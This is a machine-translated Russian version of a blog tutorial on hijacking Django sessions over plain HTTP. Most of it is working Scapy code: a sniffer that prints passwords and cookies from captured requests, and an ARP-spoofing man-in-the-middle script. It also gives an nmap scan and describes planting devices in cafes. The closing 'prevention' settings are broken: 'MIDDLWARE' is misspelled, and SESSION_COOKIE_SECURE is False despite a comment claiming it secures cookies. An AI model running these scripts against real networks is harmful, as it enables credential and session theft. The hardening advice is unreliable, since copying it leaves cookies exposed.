Рубрики
Без рубрики

Hacking Django Webites: воровство файлов cookie & пароли с нюханием пакета

Кража учетных данных и сеанс файлов cookie легко, если выполнены следующие условия: цель нами … Помечено Django, Python, Security, WebDev.

Hacking Django (7 Часть серии)

Кража учетных данных и сеанс файлов cookie легко, если выполнены следующие условия:

  • Целевой пользователь находится в той же сети, что и злоумышленник
  • Целевой сайт принимает HTTP-соединения

Например:

Готов к проблеме безопасности Django? Играть наш Задача безопасности Django .

Веб-сайт в примере полностью работает на HTTP-соединении (включая форму входа в систему). Это позволяет использовать следующий код нюхающий пакет, прочитал запросы, используя Скапировка :

# e.g, ./packet_snif --interface=wlp3s0 
import argparse

import scapy.all as scapy
from scapy.layers import http


parser = argparse.ArgumentParser()
parser.add_argument("-i", "--interface", dest="interface")
arguments = parser.parse_args()


def process(packet):
    if packet.haslayer(http.HTTPRequest):
        if packet.haslayer(scapy.Raw):
            keys = ["username", "password", "pass", "email"]
            if any(key in packet[scapy.Raw].load for key in keys):
                print(packet[scapy.Raw].load)
        print(packet[http.HTTPRequest].fields.get('Cookie'))



scapy.sniff(iface=arguments.interface, store=False, prn=process)

Полезность этой конкретной атаки только ограничена, поскольку она зависит от целевого пользователя на той же машине, что и упаковочный стенд. Тем не менее, а Человек в средней атаке решит, что:

# e.g., ./arp_spoof.py --interface=wlp3s0 --target=192.168.1.13 --gateway=192.168.1.12

import argparse
import time
import sys

import scapy.all as scapy


parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", dest="target", help="Specify target ip")
parser.add_argument("-g", "--gateway", dest="gateway", help="Specify spoof ip")
parser.add_argument("-i", "--interface", dest="interface", help="Specify interface")


def get_mac(ip):
    scapy.conf.verb = 0
    packet = scapy.Ether(dst = "ff:ff:ff:ff:ff:ff")/scapy.ARP(pdst=ip)
    ans, unans = scapy.srp(packet, timeout=2, iface=arguments.interface, inter=0.1)
    for snd, rcv in ans:
        return rcv.sprintf(r"%Ether.src%")


def restore(destination_ip, source_ip):
    packet = scapy.ARP(
        op=2,
        pdst=destination_ip,
        hwdst=get_mac(destination_ip),
        psrc=source_ip,
        hwsrc=get_mac(source_ip),
    )
    scapy.send(packet, 4)


def spoof(target_ip, spoof_ip):
    target_mac = get_mac(target_ip)
    packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
    scapy.send(packet, verbose=False)


arguments = parser.parse_args()


try:
    while True:
        spoof(arguments.target, arguments.gateway)
        spoof(arguments.gateway, arguments.target)
        sys.stdout.flush()
        time.sleep(2)

except KeyboardInterrupt:
    restore(arguments.target,arguments.gateway)
    restore(arguments.gateway, arguments.target)

Это делает трафик Target Machine через машину злоумышленника, поэтому пакеты жертвы могут быть прочитаны packet_sniffer.py Отказ

Восстановление IP-адреса цели так же просто, как работает NMAP Указывая на IP-адрес маршрутизатора, все подключены к:

sudo nmap -sn 192.168.1.0/24  # get the router IP from ifconfig

Еще один сценарий оркестровки может облегчить все это:

  • петля по подключенным устройствам, о которых сообщается NMAP
  • Позвоните ARP_SPOOF.PY для каждого

Злоумышленник может быть на месте сидеть в кафе по комнате сформировать жертву. Может быть, атака еще более организована и спрятала Raspberry Pi в несколько кафе и извленет их в конце дня. Какие шансы кто-то подключился к HTTP-соединению в течение этого времени? Их сеанс cookie будет скомпрометирован. Какие шансы пользователь повторно использовал свой пароль на других сайтах? Для всего этого ответа, безусловно, ненулевой.

Профилактика

Пользователи могут избежать подключения к сетям, которые они не доверяют, но удобство привлекательна, а кафе предлагают бесплатный Wi-Fi, поэтому они идеальная ловушка для медовых.

Сайты лучше помещаются, чтобы предотвратить этот тип атаки:

Конкретно с Django это достигается со следующими настройками:

MIDDLWARE = [
    "django.middleware.security.SecurityMiddleware",
     ...
]

SECURE_HSTS_SECONDS = 31536000  # 1 year. Prevent browser attempting HTTP
SECURE_HSTS_INCLUDE_SUBDOMAINS = True  # protect subdomains too
SECURE_SSL_REDIRECT = True  # redirect HTTP to HTTPS
SESSION_COOKIE_SECURE = False # set secure on cookies

Есть ли у вашего сайта уязвимости безопасности?

Со временем это легко для уязвимостей безопасности и технологического долга, чтобы проскользнуть в вашу кодовую базу. Я могу проверить это для вас в django.doctor или может Просмотрите свой GitHUB PRS :

Или попробуйте Рефакторы Django Challenges Отказ

Hacking Django (7 Часть серии)

Оригинал: “https://dev.to/djangodoctor/hacking-django-websites-stealing-sessions-with-packet-sniffing-n9k”